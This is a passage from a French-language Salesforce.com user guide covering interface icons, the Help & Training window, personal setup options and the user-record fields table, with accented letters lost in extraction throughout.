Icne de contrat. S'affiche sur toutes les pages de contrat et
en regard des contrats dans la zone lments rcents du menu
latral.
Icne de tableau de bord. S'affiche sur toutes les pages de
tableau de bord dans l'onglet Tableaux de bord.
Icne de document. S'affiche sur les pages de document et en
regard des documents dans la zone lments rcents du menu
latral.
Icne de prvision. S'affiche sur les pages de prvision dans
l'onglet Prvisions avances.
Icne ide. Affiche les pages d'ides et en regard des ides
dans la zone lments rcents du menu latral.
Icne de piste. S'affiche sur les pages de piste et en regard des
pistes dans la zone lments rcents du menu latral.
Icne d'opportunit. S'affiche sur les pages d'opportunit et
en regard des opportunits dans la zone lments rcents du
menu latral.
Icne de portail. S'affiche dans l'onglet Portails.
Icne de produit. S'affiche dans les pages de produit, de
catalogue de prix et d'actif.
Icne de rapport. S'affiche sur toutes les pages de rapport dans
l'onglet Rapports.
Icne de solution. S'affiche sur les pages de solution et en
regard des solutions dans la zone lments rcents du menu
latral.

Mise en route

lment

Guide de l'utilisateur | Navigation | 15

Description
Icne Balise. S'affiche dans les enregistrements qui peuvent
tre baliss.
Icne de solution traduite. S'affiche sur les pages de dtails,
les pages de modification, les vues de liste et les rsultats de
recherche des solutions.
Affiche l'ensemble des vnements de calendrier du jour pour
vous ou pour les utilisateurs slectionns dans la vue
multi-utilisateur, ainsi que la liste des tches de la plage
slectionne.
Affiche l'ensemble des vnements de calendrier de la semaine
pour vous ou pour les utilisateurs slectionns dans la vue
multi-utilisateur, ainsi que la liste des tches de la plage
slectionne.
Affiche tous les vnements du mois de votre calendrier ou
des utilisateurs slectionns dans la vue multi-utilisateur.
Affiche le calendrier d'un seul utilisateur.
Affiche simultanment les calendriers de plusieurs utilisateurs.
Affiche une vue de liste de vos vnements de calendrier et de
vos tches.
Icne d'vnement rcurrent. Indique qu'un vnement
appartient une srie d'vnements rcurrents.
Icne d'vnement de groupe. Indique un vnement auquel
plusieurs utilisateurs sont invits.
Icne de requte hirarchise. Indique qu'une requte a t
automatiquement hirarchise au moyen de la rgle de
hirarchie de votre entreprise.
Icne de commentaire. Indique qu'un utilisateur libre-service
a ajout un commentaire la requte. L'icne est visible jusqu'
ce que le responsable de la requte consulte celle-ci.
Icne d'aide. Affiche l'aide de la liste associe correspondante.
Icne d'informations. Affiche des informations
supplmentaires sur un lment lorsque vous y placez votre
souris. Par exemple, les listes de slection dpendantes sont
identifies par cette icne dans les pages de modification.
Placez simplement votre souris sur l'icne pour afficher le nom
du champ de contrle associ.
Icne de verrouillage. S'affiche lorsqu'un enregistrement ne
peut pas tre modifi. Les utilisateurs doivent disposer de
l'autorisation au niveau de l'objet Modifier tout pour un objet

Mise en route

Guide de l'utilisateur | Utilisation de la fentre Aide & formation | 16

lment

Description
donn ou Modifier toutes les donnes pour modifier les
enregistrements verrouills.
Icne de rcapitulatif de cumul non valide. S'affiche lorsque
la valeur calcule d'un champ rcapitulatif de cumul est
obsolte. Il s'affiche galement dans les champs de formule
qui rfrencent un champ rcapitulatif de cumul dont la valeur
calcule est obsolte.
Indique un champ de formule qui fait rfrence des champs
concernant un objet associ. Disponible dans les pages de
configuration lors de l'affichage du type de donnes du champ
de formule.
Indique une connexion Salesforce to Salesforce active.
Indique une connexion Salesforce to Salesforce inactive.
Indique une connexion Salesforce to Salesforce en attente.
Indique une invitation raliser une connexion avec un
partenaire commercial l'aide de Salesforce to Salesforce.
Indique que vous avez envoy une invitation une autre
organisation pour raliser une connexion l'aide de Salesforce
to Salesforce.

Voir aussi :
Navigation dans les listes longues

Utilisation de la fentre Aide & formation

Toutes les informations contenues dans l'aide en ligne s'appliquent toutes les ditions, sauf mention contraire.

La fentre Aide & formation de Salesforce.com vous propose les ressources ncessaires votre russite. Vous pouvez:

Trouvez les rponses vos questions

Consulter, imprimer ou envoyer par e-mail des rubriques d'aide en ligne
Tlchargez des fiches de conseils et des guides des meilleures pratiques
Consultez la documentation destine aux dveloppeurs Force.com
Suivez une formation gratuite
Contacter le support client

Mise en route

Guide de l'utilisateur | Utilisation de la fentre Aide & formation | 17

Trouvez les rponses vos questions

Cliquez sur Aide & formation en haut de n'importe quelle page. Entrez les mots-cls dans la zone Rechercher et cliquez
sur OK. La recherche renvoie les rubriques d'aide en ligne, les solutions de la base de connaissances et les sessions de
formation recommandes qui correspondent aux mots-cls saisis.
Conseils pour effectuer une recherche dans la fentre Aide & formation :

La recherche renvoie les rubriques d'aide en ligne, les solutions de la base de connaissances et les sessions de formation
recommandes qui contiennent l'un ou l'ensemble des mots-cls. Par exemple, si vous recherchez data loader,
les rsultats obtenus peuvent contenir data, loader ou ces deux mots-cls dans n'importe quel ordre. Les lments
incluant le plus de mots-cls apparaissent au dbut des rsultats et les lments incluant vos mots-cls sous forme de
phrase ou proches les uns des autres sont galement rpertoris en haut des rsultats.
Employez plusieurs mots-cls pour affiner les rsultats de la recherche. Par exemple, crer des rgles
d'attribution de pistes renvoie des rsultats plus prcis que rgles d'attribution.
La recherche ne tient pas compte de la casse. Publipostage est identique publipostage.
La recherche porte galement sur les variantes des mots-cls. Ainsi, lorsque vous recherchez cration, les lments
contenant les termes cratif, crateur et cration sont renvoys.
Remarque: Ce comportement s'applique uniquement au type de terme que vous recherchez : la recherche
d'un terme correspond aux diverses formes du terme, la recherche d'un verbe correspond aux diverses formes
du verbe etc.

Les mots courants tels que le, propos de, et et non sont ignors.
Les caractres gnriques, tels que * et ?, ainsi que les oprateurs tels que AND, OR et AND NOT sont traits
comme n'importe quel autre mot-cl. Par exemple, la recherche requtes AND outlook est traite exactement
de la mme manire que requtes outlook.

Aprs avoir trouv la rponse souhaite, vous pouvez cliquer sur le lien Page de l'e-mail, en haut de la fentre, pour
envoyer par e-mail, vous-mme ou quelqu'un d'autre, l'URL de la rubrique d'aide ou de la solution de la base de
connaissances en question.
Consulter, imprimer ou envoyer par e-mail des rubriques d'aide en ligne
Cliquez sur le lien Aide relative cette page sur une page de Salesforce.com pour accder la rubrique d'aide en ligne
contextuelle correspondante. Dans une liste associe de Salesforce.com, cliquez sur le lien Aide pour ouvrir la rubrique
d'aide en ligne qui la dcrit.
Pour imprimer une version PDF de l'aide en ligne, cliquez sur l'onglet Aide de la fentre Aide & formation, puis sur
l'option relative au guide de l'utilisateur imprimable, dans la barre des tches.
Pour envoyer par e-mail un autre utilisateur l'URL d'une rubrique d'aide en ligne, cliquez sur le lien Envoyer cette
page par e-mail en haut droite de la fentre Help & Training.
Tlchargez des fiches de conseils et des guides des meilleures pratiques
Slectionnez l'onglet Aide de la fentre Aide & formation, puis cliquez sur Conseils & guides de l'utilisateur dans la
barre des tches pour afficher et tlcharger des fiches de conseils, des guides de mise en uvre et les meilleures pratiques
concernant des fonctions spcifiques.
Visitez le site www.salesforce.com/community pour dcouvrir d'autres conseils, meilleures pratiques et outils vous
permettant de tirer parti de Salesforce.com.

Mise en route

Guide de l'utilisateur | Utilisation de la fentre Aide & formation | 18

Consultez la documentation destine aux dveloppeurs Force.com

Si vous concevez une sous-application sur la plate-forme Force.com, crivez du code Apex ou laborez des intgrations
avec l'API Force.com, reportez-vous Ressources de documentation pour les dveloppeurs Force.com la page 992 pour
plus d'informations.
Suivez une formation gratuite
Slectionnez l'onglet Formation de la fentre Aide & formation, choisissez votre rle et votre situation gographique,
puis cliquez sur Afficher les sessions ! pour rechercher les formations en ligne gratuites proposes et apprendre utiliser
Salesforce.com.
Contacter le support client
Slectionnez l'onglet Mes requtes de la fentre Aide & formation pour accder aux options du support client. Cliquez
sur l'option de consignation d'une requte pour soumettre directement votre question ou votre problme au support
client de salesforce.com. Cliquez sur l'option d'affichage des requtes pour voir les requtes soumises prcdemment.
Pour contacter directement le support client de salesforce.com, utilisez les numros suivants selon l'endroit o vous vous
trouvez :

Continent amricain : (415) 901-7010

Europe Moyen-Orient Asie : 00353 1 272 3503
APAC : +65 6302 5700
Japon : +81-3-5785-8480
Remarque: Salesforce.com vrifie scrupuleusement la conformit des informations contenues dans la fentre Help &
Training, mais dcline toute responsabilit quant aux ventuelles erreurs ou inexactitudes. Si vous rencontrez des
erreurs, n'hsitez pas nous en informer en utilisant le formulaire situ en bas de chaque page d'aide.

Voir aussi :
Prsentation de l'aide personnalise
Remplacement de l'aide en ligne de Salesforce.com

Configuration personnelle
Prsentation de la configuration personnelle
Les options de configuration disponibles dpendent de votre dition de Salesforce.com.

La page Configuration personnelle, accessible en cliquant sur Configuration, contient des options de configuration et de
personnalisation permettant de personnaliser l'application pour votre usage personnel.
Mes informations personnelles
Dveloppez le dossier Mes informations personnelles sous Configuration personnelle pour accder aux options suivantes :

Informations personnelles : Modifiez vos informations d'utilisateur, crez des quotas, consultez l'historique des connexions
et bien plus (reportez-vous Modification des informations personnelles la page 20).
Modifier mon mot de passe : Modifiez votre mot de passe (reportez-vous Modification du mot de passe la page 32).
Rinitialiser mon jeton de scurit : rinitialisez le jeton de scurit dont vous pouvez avoir besoin pour vous connecter
Salesforce.com en dehors des sites de confiance de votre entreprise (consultez Rinitialisation de votre jeton de scurit
la page 33).
Mes groupes : Ajoutez, actualisez ou supprimez vos groupes personnels (reportez-vous Gestion des groupes la page
135).
Changer mon affichage : Personnalisez votre affichage des onglets et listes associes (reportez-vous Personnalisation de
votre affichage la page 30).
Accorder l'accs la connexion : Autorisez les agents du support client salesforce.com ou votre administrateur se connecter
votre compte (reportez-vous Autorisation d'accs la connexion la page 22).
Partage du calendrier : autorisez d'autres utilisateurs, des groupes personnels et publics, des rles ou des rles et des
subordonns afficher votre calendrier (reportez-vous Octroi de l'accs votre calendrier la page 35).
Rappels : dfinissez vos prfrences personnelles en matire de rappels d'activit (reportez-vous Dfinition de rappels
pour les activits la page 1084).
Slection du type d'enregistrement : Configurez vos prfrences pour la slection automatique des types d'enregistrement
par dfaut (reportez-vous Dfinition des prfrences des types d'enregistrement la page 36).

E-mail
Dveloppez le dossier Email sous Configuration personnelle pour accder aux options suivantes :

Paramtres de mon message : Dfinissez les paramtres des messages sortants (reportez-vous Modification des paramtres
de message la page 34).
Mes modles : Crez et modifiez vos propres modles d'e-mail (reportez-vous Gestion des modles de message la page
76).
Paramtres personnels de Rester en contact : Dfinissez vos prfrences pour les e-mails demandant la mise jour des
informations de contact (reportez-vous Modification des paramtres personnels de Rester en contact la page 34).

Importation
Dveloppez le dossier Importation sous Configuration personnelle pour accder aux options suivantes :

Importer mes comptes et contacts : importez les comptes et les contacts dont vous tes responsable (reportez-vous
Importer mes contacts la page 288).

Configuration personnelle

Guide de l'utilisateur | Modification des informations personnelles | 20

Importer mes comptes personnels : importez les comptes personnels dont vous tes responsable. Il est possible que votre
administrateur ait personnalis le texte de ce lien.

Intgration votre matriel de bureau

Dveloppez le dossier Intgration votre matriel de bureau sous Configuration personnelle pour accder aux options
suivantes :

Rechercher les mises jour : vrifiez les versions des clients de bureau dont vous disposez et installez les mises jour
(reportez-vous Recherche des mises jour du client de bureau la page 38).
Connect pour Outlook : tlchargez le plug-in d'intgration d'Outlook (reportez-vous Utilisation de Connect pour
Outlook la page 2058).
Connect pour Office : installez Connect pour Office pour intgrer vos donnes Microsoft Word et Excel (reportez-vous
Prsentation de Force.com Connect pour Microsoft Office la page 2026).
Connect Offline : installez Connect Offline pour travailler distance lorsque vous n'tes pas en ligne (reportez-vous
Prsentation de Force.com Connect Offline la page 2032).
Connect pour Lotus Notes : tlchargez le plug-in d'intgration Connect pour Lotus Notes (reportez-vous Prsentation
de Force.com Connect for Lotus Notes la page 2085).

Paramtres de centre d'appels

Dveloppez le dossier Paramtres de centre d'appels sous Configuration personnelle pour accder aux options suivantes :

Mes paramtres SoftPhone : dfinissez vos prfrences utilisateur SoftPhone (reportez-vous Modification des paramtres
SoftPhone personnels la page 1139).

Modification des informations personnelles

Les options de configuration personnelles disponibles dpendent de votre dition de Salesforce.com.

Pour mettre jour vos informations personnelles, cliquez sur Configuration Mes informations personnelles Informations
personnelles. Les administrateurs ont la possibilit de modifier les informations de tous les utilisateurs, comme indiqu la
rubrique Modification des utilisateurs la page 96.
Les lments suivants peuvent tre modifis partir de la page Informations personnelles :

Informations personnelles - Pour les modifier, cliquez sur Modifier.

Reportez-vous Champs d'utilisateur la page 22 pour une liste des champs d'utilisateur.
Si vous changez d'adresse e-mail, un message de confirmation est envoy la nouvelle adresse. Vous devez cliquer sur le
lien fourni dans ce message pour que la nouvelle adresse e-mail soit active. Ce processus garantit la scurit du systme.

Modification du mot de passe - Cliquez sur le bouton Modifier le mot de passe. Reportez-vous Modification du mot
de passe la page 32.
Espace de stockage - Cliquez sur Afficher ct du champ Espace des donnes utilis ou Espace des
fichiers utilis pour connatre l'espace de stockage disponible. Pour obtenir des informations sur les limites de
stockage de l'entreprise, reportez-vous Surveillance des ressources la page 218.
Quotas - Crez et modifiez vos quotas. Si la fonction de prvision personnalisable n'est pas installe, reportez-vous
Configuration des quotas pour les prvisions personnalisables la page 101 ou Ajout et modification de quotas la page
33.

Configuration personnelle

Guide de l'utilisateur | Modification des informations personnelles | 21

Groupes personnels - Ajoutez, modifiez ou supprimez vos propres groupes. Reportez-vous Gestion des groupes la
page 135.
quipe de vente par dfaut - Dfinissez votre quipe de vente par dfaut. Reportez-vous Dfinition de votre quipe de
vente par dfaut la page 1948.
quipe de compte par dfaut - Dfinissez votre quipe de comptes par dfaut. Reportez-vous Dfinition de votre quipe
de comptes par dfaut la page 1072.
Historique des connexions - Les administrateurs ont la possibilit de visualiser les dix dernires tentatives (infructueuses
ou russies) de connexion d'un utilisateur.

Vous avez galement la possibilit d'accder aux vues suivantes :

Appartenance au groupe public - Dresse la liste des groupes publics auxquels vous appartenez, tels qu'ils sont dfinis par
votre administrateur.
Gestionnaires de la hirarchie des rles - Dresse la liste des utilisateurs qui vous supervisent dans la hirarchie des rles,
tels qu'ils sont dfinis par votre administrateur. Reportez-vous Gestionnaires de la hirarchie des rles la page 22.
Territoires - Rpertorie les territoires auxquels vous tes attribu. Reportez-vous Gestion des utilisateurs dans les territoires
la page 1965.
Priphriques mobiles attribus : indique le priphrique mobile partir duquel vous avez activ Salesforce Mobile pour
votre compte Salesforce.com. Reportez-vous Gestion de priphriques mobiles la page 2017.
Accs distance : rpertorie les applications d'accs distance auxquelles vous avez accord l'accs.

Voir aussi :
Prsentation de la configuration personnelle
Modification du service par dfaut
Autorisation d'accs la connexion
Champs d'utilisateur

Affichage de l'appartenance un groupe public

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Pour afficher les groupes publics qui vous incluent en tant que membre :
1. Cliquez sur Configuration Mes informations personnelles Informations personnelles.
2. Faites dfiler la liste associe Appartenance au groupe public, qui prsente les groupes publics dont vous tes membre.
3. Pour afficher les dtails d'appartenance d'un groupe, cliquez sur son nom.

Voir aussi :
Modification des informations personnelles

Configuration personnelle

Guide de l'utilisateur | Modification des informations personnelles | 22

Autorisation d'accs la connexion

Disponible avec : Toutes les ditions
L'octroi de l'accs administrateur est disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Pour accorder un accs la connexion :

1. Slectionnez Configuration Mes informations personnelles Accorder l'accs la connexion.
2. Dfinissez la date d'expiration du droit d'accs du support salesforce.com ou de votre administrateur.
3. Cliquez sur Enregistrer.
Aucun utilisateur n'est en mesure d'accder votre compte pour rsoudre les problmes si vous ne lui en autorisez pas l'accs
par ce biais.

Voir aussi :
Connexion sous une identit diffrente
Modification des informations personnelles

Gestionnaires de la hirarchie des rles

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La liste associe Gestionnaires de la hirarchie des rles affiche tous les utilisateurs qui se trouvent au-dessus de vous dans la
hirarchie. Ces utilisateurs ont le mme accs vos donnes que vous : ils ont accs toutes les donnes dont vous tes
responsable ou qui peuvent tre partages avec vous.
Pour afficher cette liste associe, cliquez sur Configuration Mes informations personnelles Informations personnelles
et faites dfiler la liste associe.

Voir aussi :
Gestion des rles
Modification des informations personnelles

Champs d'utilisateur
Les champs disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Une page d'informations personnelles de l'utilisateur contient les champs suivants, par ordre alphabtique. Certains champs
ne sont affichs pour les administrateurs que lors de la cration ou de la modification d'utilisateurs.

Configuration personnelle

Guide de l'utilisateur | Modification des informations personnelles | 23

Champ

Description

Mode d'accessibilit

Case cocher qui active ou dsactive un mode d'interface

utilisateur conu pour les utilisateurs malvoyants.
Reportez-vous Activation du mode d'accessibilit la page
2178.

Actif

Case administrative cocher qui active ou dsactive la

connexion d'un utilisateur au service.

Adresse

Adresse (rue) de l'utilisateur. 255 caractres au maximum sont

autoriss dans ce champ.

Bulletin d'informations de l'administrateur

Cochez pour recevoir des e-mails promotionnels destins aux

administrateurs de la part de salesforce.com. Ce champ n'est
pas disponible si votre entreprise a dsactiv votre choix quant
recevoir des e-mails en provenance de salesforce.com.

Alias

Nom abrg pour identifier l'utilisateur sur les pages de liste,

de rapport et sur d'autres pages o il n'y a pas assez de place
pour le nom complet. Huit caractres au maximum sont
autoriss dans ce champ.

Autoriser les prvisions

Indique si l'utilisateur est autoris ou non utiliser les

prvisions personnalisables. Reportez-vous Activation des
prvisions personnalisables pour les utilisateurs la page 670.

Jeton d'Api

Indique si un jeton d'API a jamais t rinitialis.

Salesforce.com utilise ce champ pour vous aider dpanner
des problmes concernant les jetons d'API, s'il surviennent.

Centre d'Appels

Le nom du centre d'appels auquel cet utilisateur est assign.

Reportez-vous Gestion des utilisateurs de centre d'appels
la page 1147.

Checkout activ

Indique si l'utilisateur est notifi par e-mail lorsque son compte

Checkout est activ et disponible pour la connexion.
Vous devez disposer de l'autorisation Grer la facturation
pour pouvoir l'activer.

Ville

Partie rserve la ville de l'adresse de l'utilisateur. 40

caractres au maximum sont autoriss dans ce champ.

Palette pour daltoniens sur les graphiques

Indique si l'option qui permet de dfinir une palette de couleurs

alternative pour les graphiques a t active. La palette
alternative a t optimise pour l'usage des personnes
daltoniennes. Pour les e-mails de tableau de bord, la palette
alternative n'est pas utilise.

Surnom de communaut

Nom utilis pour identifier cet utilisateur dans une

communaut. 40 caractres alphanumriques au maximum
sont autoriss dans ce champ.

Configuration personnelle

Guide de l'utilisateur | Modification des informations personnelles | 24

Champ

Description

Socit

Nom de l'entreprise o travaille l'utilisateur. 40 caractres au

maximum sont autoriss dans ce champ.

Contact

Nom du contact associ si l'utilisateur est un utilisateur

partenaire.

Pays

Partie rserve au pays de l'adresse de l'utilisateur. 40 caractres

au maximum sont autoriss dans ce champ.

Cr par

Utilisateur qui a cr l'utilisateur, y compris la date et l'heure

de cration. (Lecture seule).

Devise

Devise par dfaut de l'utilisateur pour les quotas, les prvisions

et les rapports. Affich uniquement pour les entreprises
utilisant plusieurs devises. Ceci doit tre l'une des devises
actives de l'entreprise.

Liens personnaliss

Liste des liens personnaliss pour les utilisateurs, tels qu'ils

ont t dfinis par votre administrateur.

Code ISO de la devise par dfaut

Paramtre de devise par dfaut de l'utilisateur pour les

nouveaux enregistrements. Disponible uniquement pour les
entreprises qui utilisent plusieurs devises.

Service par dfaut

Service appliqu par dfaut tous les nouveaux comptes et

toutes les nouvelles pistes crs par l'utilisateur, moins qu'il
ou qu'elle ne dfinisse explicitement un service diffrent.
Quand des utilisateurs crent des enregistrements qui sont
associs un compte ou un autre enregistrement dj dot
d'un service, ils sont attribus au service de l'enregistrement
existant. Le service par dfaut n'est pas utilis.
Ce paramtre n'empche pas l'utilisateur d'afficher ni de crer
des enregistrements dans d'autres services. Les utilisateurs
peuvent modifier leur service tout moment.
Disponible uniquement dans les organisations qui utilisent
des services pour segmenter leurs donnes.

Approbateur dlgu

Champ de recherche d'utilisateur destin slectionner un

approbateur dlgu pour les demandes d'appobation. En
fonction des paramtres du processus d'approbation, cet
utilisateur peut aussi valider des demandes d'approbation pour
un utilisateur.

Dpartement

Groupe pour lequel un utilisateur travaille, par exemple,

Support client. 80 caractres au maximum sont autoriss dans
ce champ.

Configuration personnelle

Guide de l'utilisateur | Modification des informations personnelles | 25

Champ

Description

Mode dveloppement

Active le mode de dveloppement pour la cration et la

modification de pages Visualforce.
Ce champ n'est visible que pour les entreprises ayant activ
Visualforce. Reportez-vous Prsentation de Visualforce la
page 947

Service

Service de l'entreprise auquel appartient l'utilisateur, par

exemple, Equipe commerciale PC. 40 caractres au maximum
sont autoriss dans ce champ.

E-mail

Adresse e-mail de l'utilisateur. Doit tre une adresse e-mail

valide de la forme : pdupont@acme.com. 80 caractres
alphanumriques au maximum sont autoriss dans ce champ.

Codage d'e-mail

Jeu de caractres et codage pour un e-mail sortant envoy par

un utilisateur au sein de Salesforce.com. ISO-8859-1
reprsente tous les caractres latins et doit tre utilis par tous
les utilisateurs anglophones. UTF-8 (Unicode) reprsente tous
les caractres pour toutes les langues du monde, mais n'est pas
pris en charge par certains anciens logiciels de messagerie.
Shift_JIS, EUC-JP et ISO-2022-JP sont utiles pour les
utilisateurs japonais.

Numro d'employ

Numro d'identification d'un utilisateur.

Fin de journe

Heure de la journe laquelle l'utilisateur cesse gnralement

son travail. Sert dfinir les heures qui s'affichent sur le
calendrier de l'utilisateur.

Tlcopie

Numro de tlcopie de l'utilisateur.

ID de fdration

La valeur utilise pour identifier un utilisateur pour la

connexion unique fdre de l'authentification. Pour plus
d'informations, reportez-vous Configuration des paramtres
SAML pour la connexion unique la page 192.

Prnom

Prnom de l'utilisateur, tel qu'il est affich sur la page

modification de l'utilisateur. 40 caractres au maximum sont
autoriss dans ce champ.

Devise d'information

La devise par dfaut pour tous les champs de devises dans

l'enregistrement de l'utilisateur. Disponible uniquement pour
les entreprises qui utilisent plusieurs devises.

Utilisateur de la base de connaissances

Case administrative qui accorde un utilisateur l'accs la

base de connaissances Salesforce Knowledge. Le profil de
l'utilisateur dtermine s'il a accs l'onglet Gestion des articles,
l'onglet Articles ou aux deux onglets.

Langue

La langue principale de l'utilisateur. Tout les textes et l'aide

en ligne sont affichs dans cette langue. Dans les ditions
Professional, Entreprise et Unlimited, un paramtre de

Configuration personnelle

Champ

Guide de l'utilisateur | Modification des informations personnelles | 26

Description
Langue personnel remplace la Langue par dfaut de

l'entreprise.
Non disponible dans Personal Edition, Contact Manager
Edition ou Group Edition. La Langue d'affichage de
l'entreprise s'applique tous les utilisateurs.
Dernire connexion

Date de la dernire connexion. (Lecture seule).

Nom

Nom de famille de l'utilisateur, tel qu'il est affich sur la page

modification de l'utilisateur. 80 caractres au maximum sont
autoriss dans ce champ.

Paramtres rgionaux

Pays ou rgion gographique o se trouve l'utilisateur.

Le paramtre Paramtres rgionaux affecte le format de
date, de date/heure, des champs numriques ainsi que du
calendrier. Par exemple, les dates apparaissent sous la forme
06/30/2000 pour le paramtre rgional Anglais (tats-Unis)
et sous la forme 30/06/2000 pour le paramtre rgional Anglais
(Royaume-Uni). L'heure pour le paramtre rgional Anglais
(tats-Unis) apparat sous la forme d'une horloge de douze
heures avec AM et PM (par exemple, 2:00 PM), tandis que
pour le paramtre rgional Anglais (Royaume-Uni), elle
apparat sous la forme d'une horloge de vingt-quatre heures
(par exemple, 14:00).
Le paramtre Paramtres rgionaux affecte galement
l'ordre des prnoms et des noms dans les champs Nom pour
les utilisateurs, pistes et contacts. Par exemple, pour le
paramtre rgional Anglais (tats-Unis), Bob Johnson apparat
sous la forme Bob Johnson, tandis que pour le paramtre
rgional Chinois (Chine) ce nom apparat sous la forme
Johnson Bob.
Pour les utilisateurs de Personal Edition, les paramtres
rgionaux sont dfinis au niveau de l'organisation via
Configuration Profil de la socit Informations sur la
socit. Les paramtres rgionaux personnels des autres
utilisateurs, disponibles dans Configuration Mes
informations personnelles Informations personnelles,
prvalent sur les paramtres de l'organisation.

Responsable

Champ de recherche utilis pour slectionner le responsable

d'un utilisateur. Il tablit une relation hirarchique vous
empchant de slectionner un utilisateur directement ou
indirectement rattach hirarchiquement lui-mme.
Ce champ est particulirement utile pour crer des rgles de
workflow et des processus d'approbation hirarchiques sans
avoir crer de champs de hirarchie supplmentaires.

Configuration personnelle

Champ

Guide de l'utilisateur | Modification des informations personnelles | 27

Description
Remarque: la diffrence des autres champs de
hirarchie, Salesforce.com vous permet de dsactiver
des utilisateurs rfrencs dans le champ
Responsable.

Utilisateur marketing

Case cocher qui indique si l'utilisateur est habilit crer,

modifier et supprimer des campagnes, et configurer les
paramtres avancs d'une campagne.
Afin d'utiliser les assistants d'importation de campagne, les
Utilisateurs marketing doivent aussi avoir le profil Utilisateur
marketing (ou tre autoris importer des pistes ou modifier
les campagnes dans les ditions Enterprise et Unlimited).

Mobile

Numro de tlphone mobile. 40 caractres au maximum sont

autoriss dans ce champ.

Utilisateur mobile

Attribue une licence Salesforce Mobile l'utilisateur, autorisant

l'utilisateur accder aux fonctionnalits de Salesforce Mobile.
Le nombre d'enregistrements utilisateur pour lesquels cette
case est coche ne peut pas excder le nombre total de licences
mobiles dont dispose votre entreprise.
La case Utilisateur mobile est coche par dfaut pour les
utilisateurs de l'dition Unlimited. Pour empcher les
utilisateurs d'activer Salesforce.com sur leurs priphriques
mobiles avant que vous n'ayez dploy une configuration
mobile dans votre entreprise, dsactivez cette case pour tous
les utilisateurs.
Si l'utilisateur a dj activ son compte mobile depuis un
priphrique, la dsactivation de la case Utilisateur mobile
supprime les donnes Salesforce.com sur le priphrique de
l'utilisateur. Le priphrique n'est plus associ l'utilisateur.
Pour plus d'informations, reportez-vous Prsentation de
Salesforce Mobile la page 1982.

Configuration mobile

La configuration mobile attribue l'utilisateur. Si aucune

configuration mobile n'est spcifie, ce champ prend par dfaut
la configuration mobile attribue au profit de l'utilisateur.
Ce champ est visible uniquement aux organisations qui
utilisent Salesforce.com pour grer des configurations mobiles.
Pour plus d'informations, reportez-vous Prsentation de
Salesforce Mobile la page 1982.

Modifi par

Utilisateur ayant modifi pour la dernire fois les champs

utilisateur, y compris la date et l'heure de modification.
(Lecture seule).

Configuration personnelle

Guide de l'utilisateur | Modification des informations personnelles | 28

Champ

Description

Nom

Association du prnom et du nom de famille de l'utilisateur,

tels qu'ils sont affichs sur la page de dtails de l'utilisateur.

Bulletin d'informations

Cochez pour recevoir des e-mails promotionnels destins aux

utilisateurs de la part de salesforce.com. Ce champ n'est pas
disponible si votre entreprise a dsactiv votre choix quant
recevoir des e-mails en provenance de salesforce.com.

Utilisateur hors ligne

Case administrative cocher qui indique si l'utilisateur a accs

l'utilisation de Connect Offline.

Tlphone

Numro de tlphone de l'utilisateur. 40 caractres au

maximum sont autoriss dans ce champ.

Inscrit automatiquement via le portail Client Case cocher qui spcifie si l'utilisateur a t cr via une

auto-inscription un portail Client.

Disponible uniquement dans les ditions Enterprise et
Unlimited.
Profil

Champ administratif qui dfinit le droit d'un utilisateur

effectuer diffrentes fonctions au sein de l'application.

Recevoir le rsum quotidien de Salesforce

CRM Content

Si cette case est coche, un utilisateur abonn Salesforce

CRM Content reoit par e-mail un rsum quotidien si une
activit se produit sur le contenu, les espaces de travail, les
balises ou les auteurs auxquels il est abonn. Pour recevoir un
e-mail, la case Recevoir les alertes Salesforce
CRM Content par e-mail doit galement tre coche.

Recevoir les alertes Salesforce CRM Content

par e-mail

Si cette case est coche, un utilisateur abonn Salesforce

CRM Content reoit par e-mail un rsum quotidien si une
activit se produit sur le contenu, les espaces de travail, les
balises ou les auteurs auxquels il est abonn. Pour recevoir des
alertes en temps rel par e-mail, cochez cette case mais pas la
case Recevoir le rsum quotidien de Salesforce
CRM Content.

Rle

Champ administratif qui spcifie la position de l'utilisateur au

sein d'une entreprise, par exemple, Responsable du support
pour la rgion ouest. Les rles sont slectionns dans une liste
de slection des rles disponibles, qui peuvent tre modifis
par un administrateur.
Non disponible dans Personal Edition, Contact Manager
Edition ou Group Edition.

Utilisateur Salesforce CRM Content

Case cocher administrative qui indique si l'utilisateur a accs

l'utilisation de Salesforce CRM Content.

Envoyer des e-mails d'avertissement Apex

Si cette case est coche, elle indique que l'utilisateur recevra

une notification par e-mail chaque fois qu'il ou elle excute

Configuration personnelle

Champ

Guide de l'utilisateur | Modification des informations personnelles | 29

Description
Apex en dpassant de plus de 50 % les ressources spcifies
par les limites du contrleur. Pour plus d'informations,
reportez-vous au manuel Force.com Apex Code Developer's
Guide.
Disponible uniquement dans les ditions Enterprise, Unlimited
et Developer.

Dbut de la journe

Heure de la journe laquelle l'utilisateur commence

gnralement son travail. Sert dfinir les heures qui
s'affichent sur le calendrier de l'utilisateur.

Dpartement/Rgion

Partie rserve au dpartement ou la province de l'adresse

de l'utilisateur. 20 caractres au maximum sont autoriss dans
ce champ.

Fuseau horaire

Fuseau horaire principal dans lequel l'utilisateur travaille.

Titre

Fonction de l'utilisateur. 80 caractres au maximum sont

autoriss dans ce champ.

Espace utilis

Quantit d'espace disque de stockage utilise par l'utilisateur.

Reportez-vous Surveillance des ressources la page 218.

Licence utilisateur

Indique le type de licence utilisateur. Pour plus d'informations

sur les licences utilisateur, reportez-vous Affichage des types
de licence utilisateur la page 150.

Nom d'utilisateur

Champ administratif qui dfinit le nom de connexion de

l'utilisateur. 80 caractres au maximum sont autoriss dans ce
champ.

Code postal

Partie rserve au code postal de l'adresse de l'utilisateur. 20

caractres au maximum sont autoriss dans ce champ.

Voir aussi :
Modification des informations personnelles

Configuration personnelle

Guide de l'utilisateur | Modification du service par dfaut | 30

Modification du service par dfaut

Disponible avec : Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour changer de service par dfaut :

Grer les utilisateurs

Si votre organisation a recours aux services pour segmenter les donnes, vos informations utilisateur contiennent le service par
dfaut. Il s'agit du service appliqu par dfaut toutes les nouvelles pistes et tous les nouveaux comptes crs, ainsi qu'aux
objets personnaliss, sauf si vous configurez explicitement un autre service lors de la cration de l'enregistrement. En ce qui
concerne les enregistrements que vous crez qui sont associs un compte ou un autre enregistrement dj dot d'un service,
